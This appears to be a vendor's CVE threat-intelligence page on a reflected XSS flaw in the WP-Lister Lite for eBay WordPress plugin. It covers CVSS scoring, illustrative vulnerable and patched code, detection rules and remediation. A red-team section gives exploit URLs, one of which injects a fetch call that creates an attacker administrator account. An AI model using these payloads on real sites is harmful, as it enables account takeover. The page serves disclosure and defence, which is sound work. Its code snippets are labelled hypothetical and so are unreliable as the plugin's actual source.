CVE-2024-47380
Executive Summary
CVE-2024-47380 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP-Lister Lite for eBay (versions up to and including 3.6.3). The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited by tricking a logged-in administrator into clicking a crafted link, leading to session hijacking, credential theft, or defacement of the WordPress admin interface. The CVSS score is 7.1 (High), and no public exploit or patch is currently available. The plugin is part of the WordPress ecosystem, and the vulnerability is specific to its handling of query parameters.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – Victim must click a malicious link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1) – Reflected XSS in a WordPress admin context can lead to full site compromise if an admin is targeted.
Deep Dive & Mechanics
The vulnerability exists in the wp-lister-for-ebay plugin, specifically in how it handles HTTP GET parameters without proper sanitization or output encoding. When a user visits a crafted URL, the plugin reflects the malicious input directly into the HTML response without escaping. This allows an attacker to inject arbitrary HTML and JavaScript.
Root Cause: The plugin uses $_GET parameters (e.g., page, tab, action) in its admin pages and echoes them directly into the page without using WordPress's built-in escaping functions like esc_html() or esc_attr().
Attack Flow:
- Attacker crafts a URL containing a malicious JavaScript payload in a vulnerable parameter.
- Attacker sends the link to a logged-in WordPress admin (e.g., via email or social engineering).
- Admin clicks the link, which loads the vulnerable plugin page.
- The injected JavaScript executes in the admin's browser context, allowing the attacker to perform actions like creating new admin users, exfiltrating session cookies, or modifying site content.
Vulnerable vs. Patched Code
Vulnerable Code (wp-lister-for-ebay <= 3.6.3):
// In admin/views/settings.php (example)
$tab = $_GET['tab'];
echo '<div class="wrap"><h2>Settings - ' . $tab . '</h2></div>';
Patched Code (Hypothetical Fix):
// Properly escape output
$tab = isset($_GET['tab']) ? esc_html($_GET['tab']) : '';
echo '<div class="wrap"><h2>Settings - ' . $tab . '</h2></div>';
The fix involves using esc_html() or esc_attr() for any user-supplied data before outputting it in HTML context. Additionally, input validation should be applied to ensure only expected values are accepted.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress instance with WP-Lister Lite for eBay <= 3.6.3 installed and activated.
- A logged-in administrator account.
Exploit Payload:
http://target.com/wp-admin/admin.php?page=wplister-settings&tab=<script>alert(document.cookie)</script>
Steps:
- Craft the malicious URL with a JavaScript payload (e.g., steal cookies, create admin user).
- Use social engineering to deliver the link to an admin.
- When the admin clicks, the script executes in the admin session.
Advanced Payload (Create Admin User):
http://target.com/wp-admin/admin.php?page=wplister-settings&tab=<script>fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&user_login=attacker&email=attacker@evil.com&pass1=password&pass2=password&role=administrator'})</script>
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for unusual query strings containing
<script>tags or encoded JavaScript. - Use WAF rules to block reflected XSS patterns in
wp-adminURLs. - Implement Content Security Policy (CSP) headers to restrict inline script execution.
Honeypot:
- Deploy a decoy WordPress admin account and monitor for unexpected user creation or session anomalies.
Indicators of Compromise (IOCs)
- URL Patterns:
wp-admin/admin.php?page=wplister-settings&tab=*<script>* - Log Entries: HTTP requests to
/wp-admin/admin.phpwithpage=wplister-settingsand suspicioustabparameter values. - Network Traffic: Outbound connections from the WordPress server to attacker-controlled domains (if payload exfiltrates data).
- File Changes: Unexpected modifications to WordPress user roles or new admin accounts.
Detection Engineering
YARA Rule
rule CVE_2024_47380_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting WP-Lister Lite for eBay"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-47380"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$vuln_param = "page=wplister-settings"
condition:
$vuln_param and $xss_payload
}
Sigma Rule
title: Reflected XSS in WP-Lister Lite for eBay
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against CVE-2024-47380
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "page=wplister-settings"
- "<script"
condition: selection
falsepositives:
- Legitimate use of script tags in admin pages (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2024-47380 Reflected XSS in WP-Lister Lite for eBay";
flow:to_server,established;
content:"page=wplister-settings"; http_uri;
content:"<script"; http_uri;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns in
wp-adminURLs. - Educate administrators about phishing links and the risk of clicking untrusted URLs.
Long-Term Fix:
- The vendor (WP Lab) must release a patched version that properly escapes all user-supplied input in admin pages.
- As a temporary workaround, apply the following code fix to the plugin's files (if you have development access):
- Locate all instances of
$_GETusage in admin views. - Wrap output with
esc_html()oresc_attr().
- Locate all instances of
Verification:
- After applying a patch, test by attempting to inject
<script>alert(1)</script>into the vulnerable parameter. The script should not execute.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.